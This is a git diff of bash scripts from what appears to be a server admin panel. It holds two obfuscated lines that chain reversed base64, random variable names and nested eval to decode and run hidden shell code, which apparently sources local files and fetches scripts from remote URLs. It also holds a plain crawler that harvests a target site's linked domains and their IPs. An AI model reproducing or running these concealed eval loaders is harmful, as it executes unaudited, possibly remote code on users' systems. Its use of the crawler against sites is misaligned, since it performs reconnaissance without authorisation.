WT5ER7RCIvh2YlhCJgs1WgACIgoQKzVGdpNHJo0zKT5ERgYiJg0VXgIiIg0DIpMXZ0l2ckACclJ3Z81XXAt1UOR0ekAyboNWZoQCIbtFIgACIK8GZgsDYn9GbkACdhNGYg4WagMXZ0l2cgI3bmBCIgAiCi00TE5UQSRiI9Umep12bk5WYypgbyVHdlJHImYCId1FIiICI9AiIN9ERCV1UkICIbtlCiEDJi0TTPRkQVNlC7BSKoASbvRmY1NnCKg2chJ2LulmYvEyI | r";YxPeKfTDrKkHPnaFgpChawHIlyntIJXYhDJxjtIQWESvLKitqXIoBlRvRBjAjblWGgrZrtRGeVeyFbEGVkVyCyCDVKdgLaNvAgqk="ALgftxrxYriOLQLfmkAyunQaDDaDYQOWasJgnaNlrQUpuXXdLaUfZJzWhqfjYvtyArpCbVnKKEIUqQHQKHWvaYcVAyjGHphIHvef";lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp="";VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN="as";BJvAjHkbmETjWGNTgjyKXqUQyBKpOHkZHXYhwPGhzbyoaGUoRZAXGEHBctwPKdMCLPxRnBwyzPIVDWDnykEMBaRhRfvfVzlMMRjg="ddUxDpQYTjNZHNNswcoXijqYloZbanCxlewYgLmkrIjrwKzkZuGsHZHtHXBKASVHLNUsMBATRLKVuIFiVsRPfEiVVGADwxfnddjH";hBYHJSZlsPPxHslajGbzmbQgYSpZVTToksQJoZWWsIQMheZUvXZTMONduesXTaHwBvUyNkIXFsDAsUgMsmRrIhMBRonSwbJVvtWK="BRAHompoRXfWwexLRcmSImnkfnWDbUwQjiJPszuSpYlAqyJLCuqexHvktKieflEhBttHVjcBuTlJYRYdnVIBWzhqnuzsdpCUaiiQ";mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA="o";ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ="6";BVumzGFVfMeaCKvrqcJqOBLQzkSMgkxRuEnvXpvMoVvYpWfLMXDXkGAldgvzRHllAawdWLgGiHgGYddIkWctqZZbTJXoyXKZyOSY="bgVEVRhNZbfHKecxjDlMcbSQstijGIggJqlwZVgnyaWSRQWVxVilCtdtEhDqhOfKudWfovRNNBanUfTWjuleFeQjolFBWXUlzwZa";AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY=" -d";hOCvxhXchojVvBHHqwZzpgDJwGZaqebtiBzHluoYYHMbkwJpiWaYCIpQqLBDwEkhJApiTnopfByuSLEcJEnZdJlaBoGbcpzstdzH="rBAZgCTvoNiDtkqvlAGhPeKTgAPGdlytlAoicVNAExRzCPuzXPfSvFIZkVoAickrGEHJscMgMcMkfxAfCFJLBlAaKRwTtjOTJpYT";AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ="";kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH="b";SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ="e";kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa="v |";Tx=Eds;LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq="";UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO=$(eval "$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA$yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq$VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis$AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq");eval "$AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ$UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf"
\ No newline at end of file
+
+subdom () {
+SUBDOM="$1"
+[[ "$SUBDOM" = "" ]] && return
+randomize="$RANDOM"
+ for sites in `cat $log`; do
+ [[ $(echo ${DNS[@]}|grep $sites) = "" ]] && DNS+=($sites)
+ [[ $(echo ${DNS[@]}|grep $sites) != "" ]] && cat $log|grep -v "$sites" > $log
+ done
+ while true; do
+ [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break
+ done
+ (
+ HOST[$randomize]="$SUBDOM"
+ curl -sSL "${HOST[$randomize]}"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}' >> $log
+ ) > /dev/null 2>&1 &
+}
+
+iniciar () {
+SUB_DOM=$1
+limite=$2
+[[ ${SUB_DOM} = "" ]] && read -p "Site Alvo: " SUB_DOM
+[[ ${limite} = "" ]] && limite="300"
+#CRIA LOG
+log="./loog" && touch $log
+#INICIA PRIMEIRA BUSCA
+_DOM=$(curl -sSL "$SUB_DOM"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}')
+ for _DOMS in `echo $_DOM`; do
+ [[ $(echo ${DNS[@]}|grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS})
+ done
+#INICIA THREADS
+i=0
+while true; do
+DOMAIN=$(echo "${DNS[$i]}")
+[[ $DOMAIN = "" ]] && break
+ if [[ $(echo -e "${PESQ[@]}"|grep "$DOMAIN") = "" ]]; then
+ subdom "$DOMAIN"
+ echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]}+1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - Escaneando ---> \033[1;36mhttp://$DOMAIN\033[1;37m"
+ PESQ+=($DOMAIN)
+ fi
+[[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break
+i=$(($i+1))
+sleep 1s
+done
+rm $log
+echo -e "\033[1;31m====================================\n\033[1;32mScan Finalizado!, Iniciando Coleta de IPs\033[1;31m\n====================================\033[0m"
+[[ -e $HOME/subresult ]] && rm $HOME/subresult
+[[ ! -e $HOME/subresult ]] && touch $HOME/subresult
+
+for result in $(echo "${DNS[@]}"); do
+(
+rand="$RANDOM"
+dns[rand]="$result"
+scan[rand]=$(echo ${result}|cut -d'/' -f1)
+IP[rand]=$(nslookup "${scan[rand]}"|grep -Eo 'Address: [0-9.]+'|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|tail -1) > /dev/null 2>&1
+echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >> $HOME/subresult
+unset IP
+) &
+done
+while true; do
+[[ $(pidof nslookup|wc -w) -lt "1" ]] && break
+done
+RSLT=$(($(cat $HOME/subresult|wc -l)/4)) && echo -e "\033[1;31m====================================\n\033[1;32m$RSLT Hosts Capturados\n\033[1;31m====================================\033[0m"
+echo -ne "Desea Imprimir los Resultados? [S/N]: "; read yn
+ [[ $yn = @(s|S|y|Y) ]] && {
+ echo -ne "\033[1;32m"
+ cat $HOME/subresult|grep -v =
+ echo -e "\033[1;31m====================================\033[0m"
+ }
+return 0
+}
+
+#INICIA SCRIPT
+echo -e "\033[1;31m====================================\033[0m"
+echo -e "\033[1;33m INICIALIZANDO PROCEDIMENTOS (SCAN)"
+echo -e "\033[1;31m====================================\033[0m"
+iniciar $1 $2
+[[ $? = "0" ]] &&
+echo -e "\033[1;32mRegistro Generado en : $HOME/subresult\033[0m" &&
+echo -e "\033[1;31m====================================\033[0m"
diff --git a/Lista/usercodes b/Lista/usercodes
index b366828..66450df 100755
--- a/Lista/usercodes
+++ b/Lista/usercodes
@@ -1,2 +1,2039 @@
#!/bin/bash
-xqBbPxJftXsKUtMQdprubSGfAYwDxARYIVdzuMHEUJLdhCZRGbeDQQqtjWxULSyGExsFMSEXCQOHfqViXIDlmflBWEmukRixsTuQ="WKQJGuYxiddZJvWVZIAiBHmzWElrYnGYzaCNzfSsEwrAsaUjJIBuTHMPPfytYrNNqFERuDmvJopIeSTKhISvJwvGGYSbugLUcNFf";pqOPpDukpjATYuZypBmRgWAvFInrKezBFqmgWIXDjfxbmmvugTQrztmUhyFRdtoBUBdjBxHHHkyzzXYhTCLXfSxTmGOYClkPgTTJ="FollcPkPHKhDzUUMYyqKpbRjtcrpqfiUVyABrjovQMQIygfkTxMYmdtXPRQBWkVjeFzuZMgZrxXYLbtUPsgGYSzOlwQvpFxYFuQm";bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp="ch";AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV="4";XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob="";AejDnLuxtNvFAIjbAdeqVFzXQBiZilQJLqiAMovAyTfWkLLSKdotjbcEqAZolChGKqysEtplpzTCnbsyiDzYPcndbtKnyKjrWIMJ="qZPnaJUtWbTYHSBtmVtImIVuTjxJJbwkMjphnVXJtZNqYLuzraUkJNyiYebuUWrsVKHtEIiDuyGtaWofLaQZcRhhYCBYQRYSJyek";dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU=" =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